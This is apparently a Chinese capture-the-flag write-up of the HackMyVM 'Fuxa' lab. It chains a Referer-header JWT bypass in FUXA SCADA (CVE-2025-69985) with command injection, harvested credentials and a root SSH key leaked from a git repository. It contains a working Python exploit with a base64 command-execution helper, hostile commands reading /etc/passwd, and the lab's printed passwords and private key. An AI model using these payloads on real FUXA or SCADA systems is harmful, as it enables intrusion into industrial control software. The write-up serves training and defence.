HackMyVM Fuxa 通关记录|CVE-2025-69985 认证绕过、命令注入与 Git 仓库 Root 密钥泄露
靶机链接:Fuxa
靶机位于内网环境,运行 FUXA SCADA/HMI 系统,目标为获取 root 权限并捕获两个 flag 文件。
0x01 基本信息
| 名称 | IP | 说明 |
|---|---|---|
| Kali Linux | 192.168.1.113 | 攻击机 |
| FUXA | 192.168.1.112 | 靶机 (FUXA SCADA) |
攻击流程
点击展开
攻击链摘要
| 阶段 | 关键操作 | 作用 |
|---|---|---|
| 端口扫描 | rustscan -a 192.168.1.112 --range 1-65535 联动 nmap -sV -sC -O | 发现 22(SSH), 80(Apache), 1881(Node.js FUXA) |
| 认证绕过 | Referer: http://192.168.1.112:1881/fuxa 头欺骗 | 绕过 JWT 中间件,访问受保护 API |
| 命令注入 | $(cmd>&2) 注入 s_maint_preview_bundle 脚本 | 获得 www-data RCE |
| 凭据窃取 | 读取 /opt/fuxa/FUXA/server/scripts/local-sync.sh | 发现 git:wi3fw39w0j12e |
| SSH 登录 | sshpass + git 凭据 | 获取 user flag |
| Git 枚举 | GIT_DIR=/opt/.cache-loader/state git cat-file blob | 提取 Root ED25519 私钥 |
| Root 登录 | ssh -i root_key root@192.168.1.112 | 获取 root flag |
0x02 信息收集
1. Rustscan + Nmap 全端口扫描
优先使用 RustScan 进行快速端口发现,再联动 Nmap 做服务识别和脚本扫描:
rustscan -a 192.168.1.112 --ulimit 5000 --range 1-65535 -t 2000 -b 2000 -- -sV -sC -O -oN initial-scan.nmap
RustScan 阶段输出:
Open 192.168.1.112:22
Open 192.168.1.112:80
Open 192.168.1.112:1881
Nmap 详细扫描结果:
Nmap scan report for FUXA.lan (192.168.1.112)
Host is up, received arp-response (0.00052s latency).
Scanned at 2026-07-01 15:13:59 CST for 16s
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 64 OpenSSH 10.0p2 Debian 7+deb13u1 (protocol 2.0)
80/tcp open http syn-ack ttl 64 Apache httpd 2.4.66 ((Debian))
|_http-title: FUXA
|_http-server-header: Apache/2.4.66 (Debian)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-favicon: Unknown favicon MD5: F41C8C98D93BC3B707937D0C0CBFAD04
1881/tcp open http syn-ack ttl 64 Node.js Express framework
|_http-favicon: Unknown favicon MD5: F41C8C98D93BC3B707937D0C0CBFAD04
|_http-title: FUXA
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
MAC Address: 08:00:27:88:97:5C (Oracle VirtualBox virtual NIC)
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4)
Uptime guess: 22.430 days
Network Distance: 1 hop
开放端口汇总:
| 端口 | 服务 | 版本 |
|---|---|---|
| 22/tcp | SSH | OpenSSH 10.0p2 Debian 7+deb13u1 |
| 80/tcp | HTTP | Apache httpd 2.4.66 (Debian) |
| 1881/tcp | HTTP | Node.js Express framework (FUXA) |
2. Web 指纹识别
# 端口 80 - Apache 前端
curl -s -I http://192.168.1.112/
HTTP/1.1 200 OK
Date: Wed, 01 Jul 2026 07:14:30 GMT
Server: Apache/2.4.66 (Debian)
X-Powered-By: Express
Access-Control-Allow-Methods: GET,PUT,POST,DELETE,OPTIONS
Access-Control-Allow-Headers: x-access-token, x-auth-user, Origin, Content-Type, Accept
Content-Type: text/html; charset=UTF-8
Content-Length: 23992
# 端口 1881 - Node.js 后端
curl -s -I http://192.168.1.112:1881/
HTTP/1.1 200 OK
X-Powered-By: Express
Access-Control-Allow-Methods: GET,PUT,POST,DELETE,OPTIONS
Access-Control-Allow-Headers: x-access-token, x-auth-user, Origin, Content-Type, Accept
Content-Type: text/html; charset=UTF-8
Content-Length: 23992
# 页面标题确认为 FUXA
curl -s http://192.168.1.112/ | head -10
<!doctype html>
<html data-critters-container>
<head>
<base href="/">
<title>FUXA</title>
<meta charset="UTF-8">
两个端口都返回相同的 FUXA 应用页面。Access-Control-Allow-Headers 中暴露了 x-access-token 和 x-auth-user,说明使用 JWT Bearer Token 认证方案。
3. 已披露漏洞检索
searchsploit fuxa
---------------------------------------------- ---------------------------------
Exploit Title | Path
---------------------------------------------- ---------------------------------
FUXA 1.2.8 - Authentication Bypass + RCE Expl | multiple/webapps/52544.py
FUXA V.1.1.13-1186 - Unauthenticated Remote C | typescript/webapps/51385.txt
---------------------------------------------- ---------------------------------
两条公开 exploit:
52544.py— CVE-2025-69985,影响 FUXA ≤ 1.2.8,Referer 头 JWT 认证绕过 + RCE51385.txt— CVE-2023-33831,影响 FUXA ≤ 1.1.13,未认证 RCE
4. API 端点与认证测试
所有 /api/* 端点被 JWT 中间件保护:
for path in api/user api/users api/signin api/projects api/settings api/version api/runscript; do
echo "GET /$path => $(curl -s -o /dev/null -w '%{http_code}' http://192.168.1.112:1881/$path)"
done
GET /api/user => 401
GET /api/users => 401
GET /api/signin => 401
GET /api/projects => 401
GET /api/settings => 401
GET /api/version => 401
GET /api/runscript => 401
所有端点统一返回 401 Unauthorized。
0x03 CVE-2025-69985 JWT 认证绕过
1. 漏洞原理
CVE-2025-69985 (CVSS 9.8) 存在于 server/api/jwt-helper.js 中间件。该中间件在验证 JWT 前检查 HTTP Referer 头,如果 Referer 中包含当前请求的 Host,则完全跳过 JWT 验证:
// FUXA server/api/jwt-helper.js 脆弱代码
if (req.headers.referer && req.headers.referer.includes(req.headers.host)) {
return next(); // ← 绕过 JWT 验证
}
攻击者只需伪造 Referer 头,使其包含目标主机地址,即可绕过认证访问所有受保护的 API 端点。
受影响版本:FUXA ≤ 1.2.8。
2. 绕过验证
# 无 Referer 头 → 401 Unauthorized
curl -s -o /dev/null -w '%{http_code}' http://192.168.1.112:1881/api/settings
401
# 带 Referer 头 → 200 OK (绕过成功)
curl -s -o /dev/null -w '%{http_code}' \
-H "Referer: http://192.168.1.112:1881/fuxa" \
http://192.168.1.112:1881/api/settings
200
3. 批量端点绕过测试
for path in api/users api/devices api/settings api/projects api/alarms api/scheduler; do
normal=$(curl -s -o /dev/null -w '%{http_code}' "http://192.168.1.112:1881/$path")
bypass=$(curl -s -o /dev/null -w '%{http_code}' \
-H "Referer: http://192.168.1.112:1881/fuxa" \
"http://192.168.1.112:1881/$path")
echo "$path: normal=$normal, with_referer=$bypass"
done
api/users: normal=401, with_referer=401 ← 仍受第二层保护
api/devices: normal=401, with_referer=404 ← 绕过成功 (路由不匹配)
api/settings: normal=401, with_referer=200 ← ✅ 绕过成功
api/projects: normal=401, with_referer=404 ← 绕过成功 (路由不匹配)
api/alarms: normal=401, with_referer=200 ← ✅ 绕过成功
api/scheduler: normal=401, with_referer=400 ← ✅ 绕过成功 (参数不足)
注意:部分端点 (如 api/users) 即使通过 JWT 中间件,在端点级别仍有额外的权限检查。api/settings、api/project、api/alarms、api/scheduler、api/signin 等可通过 Referer 绕过访问。
4. 获取 FUXA 配置
curl -s -H "Referer: http://192.168.1.112:1881/fuxa" \
http://192.168.1.112:1881/api/settings | jq
{
"version": 1.4,
"language": "zh-cn",
"uiPort": 1881,
"logDir": "/opt/fuxa/_logs",
"logApiLevel": "tiny",
"dbDir": "/opt/fuxa/_db",
"daqEnabled": true,
"daqTokenizer": 24,
"logs": {
"retention": "none"
},
"broadcastAll": false,
"allowedOrigins": [
"http://localhost",
"http://127.0.0.1",
"http://192.168.*",
"http://10.*",
"http://localhost:4200"
],
"heartbeatIntervalSec": 10,
"webcamSnapShotsDir": "/opt/fuxa/_webcam_snapshots",
"webcamSnapShotsCleanup": false,
"webcamSnapShotsRetain": 7,
"swaggerEnabled": false,
"workDir": "/opt/fuxa/_appdata",
"appDir": "/opt/fuxa/FUXA/server",
"packageDir": "/opt/fuxa/_pkg",
"settingsFile": "/opt/fuxa/_appdata/settings.js",
"environment": "prod",
"uploadFileDir": "/opt/fuxa/_appdata/_upload_files",
"imagesFileDir": "/opt/fuxa/_images",
"widgetsFileDir": "/opt/fuxa/_widgets",
"reportsDir": "/opt/fuxa/_reports",
"userSettingsFile": "/opt/fuxa/_appdata/mysettings.json",
"secureEnabled": true,
"tokenExpiresIn": "1h",
"httpUploadFileStatic": "resources",
"httpStatic": "/opt/fuxa/FUXA/client/dist",
"uiHost": "0.0.0.0",
"serverPort": 1881
}
关键信息:
| 配置项 | 值 | 作用 |
|---|---|---|
secureEnabled | true | 全局启用 JWT 认证 |
tokenExpiresIn | 1h | JWT 有效期 1 小时 |
dbDir | /opt/fuxa/_db | 数据库目录 (NeDB) |
settingsFile | /opt/fuxa/_appdata/settings.js | JWT 密钥配置文件 |
workDir | /opt/fuxa/_appdata | 应用数据目录 |
5. 获取项目定义 (含脚本)
curl -s -H "Referer: http://192.168.1.112:1881/fuxa" \
http://192.168.1.112:1881/api/project | python3 -c "
import sys,json; data=json.load(sys.stdin)
print('Top-level keys:', list(data.keys()))
print('Devices:', len(data.get('devices',{})))
print('Scripts:')
for s in data.get('scripts',[]):
print(f' {s[\"id\"]} ({s[\"name\"]}) - permission={s[\"permission\"]}, mode={s[\"mode\"]}')
"
Top-level keys: ['devices', 'hmi', 'version', 'scripts']
Devices: 2
Scripts:
s_maint_preview_bundle (asset_cache_preview) - permission=None, mode=SERVER
rce_calc (rce_calc) - permission=None, mode=SERVER
项目中有两个脚本,permission 均为 None(无限制),mode 均为 SERVER(在服务器端执行)。其中 rce_calc 的名称明显暗示为 RCE 练习用途。
0x04 远程命令执行
1. 命令注入分析
获取 s_maint_preview_bundle 脚本的完整源码:
curl -s -H "Referer: http://192.168.1.112:1881/fuxa" \
http://192.168.1.112:1881/api/project | python3 -c "
import sys,json
data=json.load(sys.stdin)
for s in data.get('scripts',[]):
if s['id'] == 's_maint_preview_bundle':
print(json.dumps(s, indent=2))"
{
"id": "s_maint_preview_bundle",
"name": "asset_cache_preview",
"code": "const { execSync } = require('child_process'); const query = (pattern && pattern.value !== undefined) ? String(pattern.value) : String(pattern || ''); return execSync(`/bin/sh -c \"find /opt/fuxa/_images -maxdepth 2 -type f | grep -i ${query}\"`, { encoding: 'utf8' });",
"sync": false,
"parameters": [
{
"name": "pattern",
"type": "value",
"value": "png"
}
],
"permission": null,
"mode": "SERVER"
}
注入点分析:
// 用户输入的 pattern.value → query 变量
const query = String(pattern.value);
// 模板字符串直接拼接到 shell 命令
execSync(`/bin/sh -c "find ... | grep -i ${query}"`, ...)
// ^^^^^^^^
// 无任何过滤
由于 ${query} 直接拼入 /bin/sh -c "..." 的双引号内,可使用 $(cmd) 命令替换或 "; cmd; echo " 引号突破实现任意命令执行。
2. payload 构造要点
FUXA 的 Angular 前端发送 runscript 请求时,会序列化 Angular HttpHeaders 对象到请求体中:
// main.js 中的 runScript 函数
let ni = new HttpHeaders({"Content-Type": "application/json"});
let Pt = {script, toLogEvent};
this.http.post("/api/runscript", {headers: ni, params: Pt})
因此 POST body 必须包含 headers 字段(带 normalizedNames/lazyUpdate 等 Angular 内部属性),否则服务端解析失败返回 400。
{
"headers": {
"normalizedNames": {},
"lazyUpdate": null,
"lazyInit": null
},
"params": {
"script": { ... },
"toLogEvent": false
}
}
script.id 必须使用项目中已存在的脚本 ID(s_maint_preview_bundle 或 rce_calc),服务端会基于 ID 查找脚本定义。
3. 命令注入 - 基础验证
使用 Python 精确构造 payload,避免 shell 转义问题:
import requests, urllib3, json
urllib3.disable_warnings()
url = 'http://192.168.1.112:1881/api/runscript'
# 命令注入 payload:$(id>&2) 将 id 输出重定向到 stderr
# 原始 shell 命令变为:
# /bin/sh -c "find ... | grep -i $(id>&2)"
# $(id) 被执行,结果输出到 stderr(可见于响应)
injection = '$(id>&2)'
payload = {
'headers': {
'normalizedNames': {},
'lazyUpdate': None,
'lazyInit': None
},
'params': {
'script': {
'id': 's_maint_preview_bundle',
'name': 'asset_cache_preview',
'code': 'placeholder',
'sync': False,
'parameters': [{
'name': 'pattern',
'type': 'value',
'value': injection
}],
'permission': None,
'mode': 'SERVER'
},
'toLogEvent': False
}
}
r = requests.post(url,
headers={
'Content-Type': 'application/json',
'Referer': 'http://192.168.1.112:1881/fuxa'
},
json=payload, timeout=30, verify=False
)
print(f'Status: {r.status_code}')
print(json.loads(r.text).get('stderr', ''))
Status: 200
uid=33(www-data) gid=33(www-data) groups=33(www-data)
✅ 命令注入成功,以 www-data 身份执行。
4. Base64 命令执行框架
复杂命令包含空格、分号、引号等特殊字符,直接注入容易破坏 shell 语法。使用 base64 编码 + 管道解码执行规避此问题:
import requests, urllib3, base64, json
urllib3.disable_warnings()
def rce(command):
"""
通过 s_maint_preview_bundle 命令注入执行任意命令
使用 base64 编码避免 shell 特殊字符转义
"""
url = 'http://192.168.1.112:1881/api/runscript'
# 编码命令
b64 = base64.b64encode(command.encode()).decode()
# 注入:$(echo BASE64|base64 -d|bash >&2)
# >&2 将 stdout 重定向到 stderr 以在响应中可见
injection = f'$(echo {b64}|base64 -d|bash >&2)'
payload = {
'headers': {
'normalizedNames': {},
'lazyUpdate': None,
'lazyInit': None
},
'params': {
'script': {
'id': 's_maint_preview_bundle',
'name': 'asset_cache_preview',
'code': 'placeholder',
'sync': False,
'parameters': [{
'name': 'pattern',
'type': 'value',
'value': injection
}],
'permission': None,
'mode': 'SERVER'
},
'toLogEvent': False
}
}
r = requests.post(url,
headers={
'Content-Type': 'application/json',
'Referer': 'http://192.168.1.112:1881/fuxa'
},
json=payload, timeout=30, verify=False
)
try:
data = json.loads(r.text)
return data.get('stderr', data.get('stdout', r.text))
except:
return r.text
0x05 系统侦察 (www-data)
1. 身份与系统信息
print(rce("id; echo '---HOST---'; hostname; echo '---KERNEL---'; uname -a"))
uid=33(www-data) gid=33(www-data) groups=33(www-data)
---HOST---
FUXA
---KERNEL---
Linux FUXA 6.12.86+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian ...
x86_64 GNU/Linux
2. 用户枚举
print(rce("cat /etc/passwd"))
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
git:x:1001:1001:Git:/home/git:/bin/bash ← 注意: 有 bash shell!
sshd:x:989:65534:sshd user:/run/sshd:/usr/sbin/nologin
关键发现: git:x:1001:1001 有 /bin/bash,可交互登录。
3. 用户目录
print(rce("ls -la /home/"))
total 12
drwxr-xr-x 3 root root 4096 May 6 23:05 .
drwxr-xr-x 18 root root 4096 May 8 22:50 ..
drwx------ 3 git git 4096 May 8 22:49 git ← 权限 700, www-data 无法进入
4. Cron 任务发现
print(rce("cat /etc/crontab; echo '---CRON.D---'; ls -la /etc/cron.d/"))
# /etc/crontab: system-wide crontab
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.daily; }
47 6 * * 7 root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.weekly; }
52 6 1 * * root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.monthly; }
---CRON.D---
total 20
drwxr-xr-x 2 root root 4096 May 8 22:01 .
drwxr-xr-x 68 root root 4096 May 6 23:12 ..
-rw-r--r-- 1 root root 188 Mar 9 18:53 e2scrub_all
-rw-r--r-- 1 root root 156 Dec 20 2025 fuxa-local-sync ← 自定义 cron!
-rw-r--r-- 1 root root 102 Jun 13 2025 .placeholder
print(rce("cat /etc/cron.d/fuxa-local-sync"))
SHELL=/bin/bash
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
* * * * * git /opt/fuxa/FUXA/server/scripts/local-sync.sh >/dev/null 2>&1
关键发现: 每分钟以 git 用户身份执行 /opt/fuxa/FUXA/server/scripts/local-sync.sh。
5. SUID 二进制文件
print(rce("find / -perm -4000 -type f -ls 2>/dev/null | head -20"))
152670 484 -rwsr-xr-x 1 root root 494144 Feb 3 08:15 /usr/lib/openssh/ssh-keysign
146442 52 -rwsr-xr-- 1 root messagebus 51272 Mar 8 2025 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
131195 72 -rwsr-xr-x 1 root root 72072 May 9 2025 /usr/bin/mount
131308 116 -rwsr-xr-x 1 root root 118168 Apr 19 2025 /usr/bin/passwd
158453 300 -rwsr-xr-x 1 root root 306456 Feb 11 14:22 /usr/bin/sudo
135104 84 -rwsr-xr-x 1 root root 84360 May 9 2025 /usr/bin/su
131304 52 -rwsr-xr-x 1 root root 52936 Apr 19 2025 /usr/bin/chsh
131307 88 -rwsr-xr-x 1 root root 88568 Apr 19 2025 /usr/bin/gpasswd
131197 56 -rwsr-xr-x 1 root root 55688 May 9 2025 /usr/bin/umount
131169 20 -rwsr-xr-x 1 root root 18816 May 9 2025 /usr/bin/newgrp
131302 72 -rwsr-xr-x 1 root root 70888 Apr 19 2025 /usr/bin/chfn
全部为标准系统 SUID 文件,无可利用的异常文件。
6. 网络监听端口
print(rce("ss -tlnp 2>&1"))
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
LISTEN 0 511 0.0.0.0:1881 0.0.0.0:* users:(("FUXA",pid=626,fd=27))
LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
LISTEN 0 511 *:80 *:*
LISTEN 0 128 [::]:22 [::]:*
FUXA 进程 (pid=626) 以 www-data (uid=33) 身份运行。
0x06 凭据窃取 → Git 用户
1. 读取 Cron 脚本
print(rce("cat /opt/fuxa/FUXA/server/scripts/local-sync.sh"))
#!/bin/bash
set -euo pipefail
LOCAL_HOST="${1:-127.0.0.1}"
GIT_USER="git"
GIT_PASS="wi3fw39w0j12e" # ← 硬编码密码!
REMOTE_CMD="/usr/local/bin/theme-refresh --quick"
exec /usr/bin/sshpass -p "$GIT_PASS" /usr/bin/ssh \
-o StrictHostKeyChecking=no \
-o UserKnownHostsFile=/dev/null \
"${GIT_USER}@${LOCAL_HOST}" "$REMOTE_CMD"
发现硬编码凭据:git:wi3fw39w0j12e
脚本每分钟通过 sshpass + SSH 以 git 用户连接 localhost。
print(rce("ls -la /opt/fuxa/FUXA/server/scripts/local-sync.sh"))
-rwxr-xr-x 1 git git 315 Dec 20 2025 /opt/fuxa/FUXA/server/scripts/local-sync.sh
脚本属主为 git:git,www-data 仅有读权限。
2. SSH 登录
清理已知主机并登录:
ssh-keygen -f '/home/kali/.ssh/known_hosts' -R '192.168.1.112'
sshpass -p 'wi3fw39w0j12e' ssh -o StrictHostKeyChecking=no git@192.168.1.112
Warning: Permanently added '192.168.1.112' (ED25519) to the list of known hosts.
git@FUXA:~$
git@FUXA:~$ id
uid=1001(git) gid=1001(git) groups=1001(git)
0x07 Flag 1: User Flag
git@FUXA:~$ ls -la
total 28
drwx------ 3 git git 4096 May 8 22:49 .
drwxr-xr-x 3 root root 4096 May 6 23:05 ..
lrwxrwxrwx 1 git git 9 May 8 22:49 .bash_history -> /dev/null
-rw-r--r-- 1 git git 220 Mar 8 11:21 .bash_logout
-rw-r--r-- 1 git git 3526 Mar 8 11:21 .bashrc
lrwxrwxrwx 1 git git 9 May 8 22:49 .lesshst -> /dev/null
lrwxrwxrwx 1 git git 9 May 8 22:49 .mysql_history -> /dev/null
lrwxrwxrwx 1 git git 9 May 8 22:49 .node_repl_history -> /dev/null
-rw-r--r-- 1 git git 807 Mar 8 11:21 .profile
lrwxrwxrwx 1 git git 9 May 8 22:49 .python_history -> /dev/null
lrwxrwxrwx 1 git git 9 May 8 22:49 .sqlite_history -> /dev/null
drwx------ 2 git git 4096 May 6 10:31 .ssh
-rw------- 1 git git 43 Dec 20 2025 user.txt ← Flag!
lrwxrwxrwx 1 git git 9 May 8 22:49 .viminfo -> /dev/null
git@FUXA:~$ cat user.txt
flag{git-ba9f11ecc3497d9993b933fdc2bd61e5}
✅ User Flag 获取成功。
0x08 提权探索 (git → root)
1. Sudo 权限
git@FUXA:~$ sudo -l
[sudo] password for git: wi3fw39w0j12e
Sorry, user git may not run sudo on FUXA.
无 sudo 权限。
2. 发现隐藏 Git 仓库
回顾 cron 脚本引用的 /usr/local/bin/theme-refresh:
git@FUXA:~$ cat /usr/local/bin/theme-refresh
#!/bin/bash
set -euo pipefail
echo "theme refresh placeholder"
theme-refresh 仅是占位符,但其同级目录有另一个脚本 cache-snapshot:
git@FUXA:~$ ls -la /usr/local/bin/
total 16
drwxr-xr-x 2 root root 4096 May 6 10:58 .
drwxr-xr-x 11 root root 4096 Apr 25 06:17 ..
-rwxr-xr-x 1 root root 504 Dec 20 2025 cache-snapshot
lrwxrwxrwx 1 root root 20 May 6 10:09 node -> /opt/node18/bin/node
lrwxrwxrwx 1 root root 19 May 6 10:09 npm -> /opt/node18/bin/npm
lrwxrwxrwx 1 root root 19 May 6 10:09 npx -> /opt/node18/bin/npx
-rwxr-xr-x 1 root root 63 Dec 20 2025 theme-refresh
git@FUXA:~$ cat /usr/local/bin/cache-snapshot
#!/bin/bash
set -euo pipefail
ACTION="${1:-}"
NS="${2:-}"
SLOT="${3:-stable}"
STORE="/opt/.cache-loader/state"
MAP="$STORE/.slots/$NS"
[ -r "$MAP" ] || exit 1
ref="$(awk -v s="$SLOT" '$1==s{print $2}' "$MAP" | tail -n 1)"
[ -n "$ref" ] || exit 1
case "$ACTION" in
verify)
GIT_DIR="$STORE" /usr/bin/git cat-file -e "$ref"
;;
stat)
GIT_DIR="$STORE" /usr/bin/git cat-file -s "$ref"
;;
dump)
GIT_DIR="$STORE" /usr/bin/git cat-file blob "$ref"
;;
*)
exit 1
;;
esac
关键发现: cache-snapshot 操作 /opt/.cache-loader/state Git 仓库,通过 .slots 文件映射 slot 名称到 Git 对象哈希。
3. 检查仓库权限
git@FUXA:~$ ls -la /opt/.cache-loader/
total 12
drwxr-x--- 3 root git 4096 May 6 10:31 . ← 属组 git!
drwxr-xr-x 6 root root 4096 May 6 10:31 ..
drwxr-x--- 8 root git 4096 Dec 20 2025 state
仓库目录 root:git,git 组有读和执行权限。
4. Git 仓库枚举
git@FUXA:~$ find /opt/.cache-loader/state -type f -ls 2>/dev/null
drwxr-x--- 8 root git 4096 Dec 20 2025 state/
drwxr-x--- 2 root git 4096 Dec 20 2025 state/branches/
-rw-r----- 1 root git 66 Dec 20 2025 state/config
-rw-r----- 1 root git 73 Dec 20 2025 state/description
-rw-r----- 1 root git 23 Dec 20 2025 state/HEAD
drwxr-x--- 2 root git 4096 Dec 20 2025 state/hooks/
drwxr-x--- 2 root git 4096 Dec 20 2025 state/info/
drwxr-x--- 6 root git 4096 Dec 20 2025 state/objects/
drwxr-x--- 4 root git 4096 Dec 20 2025 state/refs/
drwxr-x--- 2 root git 4096 Dec 20 2025 state/.slots/
-rw-r----- 1 root git 46 Dec 20 2025 state/.sprite-manifest
-rw-r----- 1 root git 98 Dec 20 2025 state/.slots/icons ← slot 映射
-rw-r----- 1 root git 48 Dec 20 2025 state/objects/cb/...
-rw-r----- 1 root git 278 Dec 20 2025 state/objects/5e/... ← 278 字节, 值得关注
5. 读取 Slot 映射
git@FUXA:~$ cat /opt/.cache-loader/state/.slots/icons
stable 5eabba81b7dc9671da29ba0f45f5b6735bf479f8
fallback cbe10abbd6222a4fe029f5274aac4b35dfd65490
git@FUXA:~$ cat /opt/.cache-loader/state/.sprite-manifest
active=stable
theme=nightshift
build=20260506
当前活跃 slot 为 stable → 对象哈希 5eabba81b7dc9671da29ba0f45f5b6735bf479f8。
6. 检查 Git 对象
git@FUXA:~$ GIT_DIR=/opt/.cache-loader/state git cat-file -t 5eabba81b7dc9671da29ba0f45f5b6735bf479f8
blob
git@FUXA:~$ GIT_DIR=/opt/.cache-loader/state git cat-file -s 5eabba81b7dc9671da29ba0f45f5b6735bf479f8
278
278 字节的 blob — 这恰好是 ED25519 OpenSSH 私钥的典型大小。
7. 提取 Root SSH 私钥
git@FUXA:~$ GIT_DIR=/opt/.cache-loader/state git cat-file blob 5eabba81b7dc9671da29ba0f45f5b6735bf479f8
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACC5DI8wLz9Sg+DORiIyh1kmN+3va6kG+s7C/ocZ5f1e0wAAAJAy0ok2MtKJ
NgAAAAtzc2gtZWQyNTUxOQAAACC5DI8wLz9Sg+DORiIyh1kmN+3va6kG+s7C/ocZ5f1e0w
AAAECU4VgU3F+nMQ7Ty/LKklFRFNgHmSnFZTuq1X5TLBwr+bkMjzAvP1KD4M5GIjKHWSY3
7e9rqQb6zsL+hxnl/V7TAAAACnJvb3RATXViYW4BAgM=
-----END OPENSSH PRIVATE KEY-----
🎉 Root 的 ED25519 SSH 私钥! 注释字段 root@Muban。
验证 fallback slot 仅为占位符:
git@FUXA:~$ GIT_DIR=/opt/.cache-loader/state git cat-file blob cbe10abbd6222a4fe029f5274aac4b35dfd65490
legacy sprite cache placeholder
0x09 Root 登录与 Flag 2
1. 保存私钥并登录
cat > /tmp/root_key << 'EOF'
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACC5DI8wLz9Sg+DORiIyh1kmN+3va6kG+s7C/ocZ5f1e0wAAAJAy0ok2MtKJ
NgAAAAtzc2gtZWQyNTUxOQAAACC5DI8wLz9Sg+DORiIyh1kmN+3va6kG+s7C/ocZ5f1e0w
AAAECU4VgU3F+nMQ7Ty/LKklFRFNgHmSnFZTuq1X5TLBwr+bkMjzAvP1KD4M5GIjKHWSY3
7e9rqQb6zsL+hxnl/V7TAAAACnJvb3RATXViYW4BAgM=
-----END OPENSSH PRIVATE KEY-----
EOF
chmod 600 /tmp/root_key
ssh -i /tmp/root_key -o StrictHostKeyChecking=no root@192.168.1.112
Linux FUXA 6.12.86+deb13-amd64 ...
root@FUXA:~#
root@FUXA:~# id
uid=0(root) gid=0(root) groups=0(root)
2. Root 目录枚举
root@FUXA:~# ls -la /root/
total 32
drwx------ 4 root root 4096 May 8 22:49 .
drwxr-xr-x 18 root root 4096 May 8 22:50 ..
lrwxrwxrwx 1 root root 9 May 8 22:49 .bash_history -> /dev/null
-rw-r--r-- 1 root root 607 Mar 2 16:50 .bashrc
lrwxrwxrwx 1 root root 9 May 8 22:49 .lesshst -> /dev/null
drwxr-xr-x 3 root root 4096 Apr 25 06:38 .local
lrwxrwxrwx 1 root root 9 May 8 22:49 .mysql_history -> /dev/null
lrwxrwxrwx 1 root root 9 May 8 22:49 .node_repl_history -> /dev/null
-rw------- 1 root root 115 May 6 11:21 .npmrc
-rw-r--r-- 1 root root 132 Mar 2 16:50 .profile
lrwxrwxrwx 1 root root 9 May 8 22:49 .python_history -> /dev/null
-rw------- 1 root root 44 Dec 20 2025 root.txt ← Root Flag!
lrwxrwxrwx 1 root root 9 May 8 22:49 .sqlite_history -> /dev/null
drwx------ 2 root root 4096 May 6 08:47 .ssh
lrwxrwxrwx 1 root root 9 May 8 22:49 .viminfo -> /dev/null
3. 获取 Root Flag
root@FUXA:~# cat /root/root.txt
flag{root-a01a6651f93b105d6fa6908d37a43275}
✅ Root Flag 获取成功。
0x10 最终成果 (Final Flags)
User Flag
- 路径:
/home/git/user.txt - 大小: 43 字节
- 内容:
flag{git-ba9f11ecc3497d9993b933fdc2bd61e5}
Root Flag
- 路径:
/root/root.txt - 大小: 44 字节
- 内容:
flag{root-a01a6651f93b105d6fa6908d37a43275}
复盘总结
攻击链回顾
RustScan + Nmap 全端口扫描
↓
Web 指纹识别 → FUXA SCADA (JWT 认证)
↓
CVE-2025-69985 Referer 头 JWT 绕过 → 访问 /api/settings, /api/project
↓
s_maint_preview_bundle 命令注入 $(cmd>&2) → RCE as www-data
↓
系统侦察 → /etc/cron.d/fuxa-local-sync (每分钟 git 用户执行)
↓
读取 /opt/fuxa/FUXA/server/scripts/local-sync.sh → git:wi3fw39w0j12e
↓
SSH 登录 git → /home/git/user.txt (User Flag)
↓
发现 /opt/.cache-loader/state (bare Git repo, root:git 组可读)
↓
git cat-file blob 提取 → Root ED25519 SSH 私钥
↓
SSH 登录 root → /root/root.txt (Root Flag)
关键教训
-
JWT 认证不能仅依赖 Referer 头。 CVE-2025-69985 的根本原因是
jwt-helper.js错误地将 Referer 头作为"内部请求"的可信标记。Referer 头可由攻击者任意伪造,不应作为安全控制的依据。 -
模板字符串拼接用户输入到 shell 命令极其危险。
s_maint_preview_bundle脚本中execSync(`...${query}...`)的写法将用户输入直接拼入 shell 命令,即使 FUXA 有 JWT 认证保护,一旦认证被绕过,攻击面就完全暴露。 -
Cron 脚本不应硬编码凭据。
local-sync.sh中明文存储的 SSH 密码是通往 git 用户的直接通道。deploy_key或 SSH key-based authentication 是更安全的替代方案。 -
Git 仓库权限控制至关重要。
/opt/.cache-loader/state作为 bare Git repo,设置为root:git组可读,导致存储在 blob 中的 Root SSH 私钥被 git 组成员直接提取。敏感数据应使用专门的密钥管理方案(如 Vault、SOPS)而非存入 Git 对象。 -
最小权限原则。
git用户有/bin/bashshell 但却没有 sudo 权限,然而其组成员身份却能读取 root 拥有的 Git 仓库——这是权限模型设计上的不一致。
涉及漏洞
| # | 漏洞 | CVE | CVSS | 类型 |
|---|---|---|---|---|
| 1 | JWT 认证绕过 (Referer 欺骗) | CVE-2025-69985 | 9.8 | Authentication Bypass |
| 2 | runscript 命令注入 | — | — | Command Injection |
| 3 | Cron 脚本硬编码凭据 | — | — | Credential Exposure |
| 4 | Git Bare Repo 敏感信息泄露 | — | — | Sensitive Data Exposure |
附件下载
为方便复现,本文涉及的自编脚本已整理到站点静态目录:
| 文件 | 说明 |
|---|---|
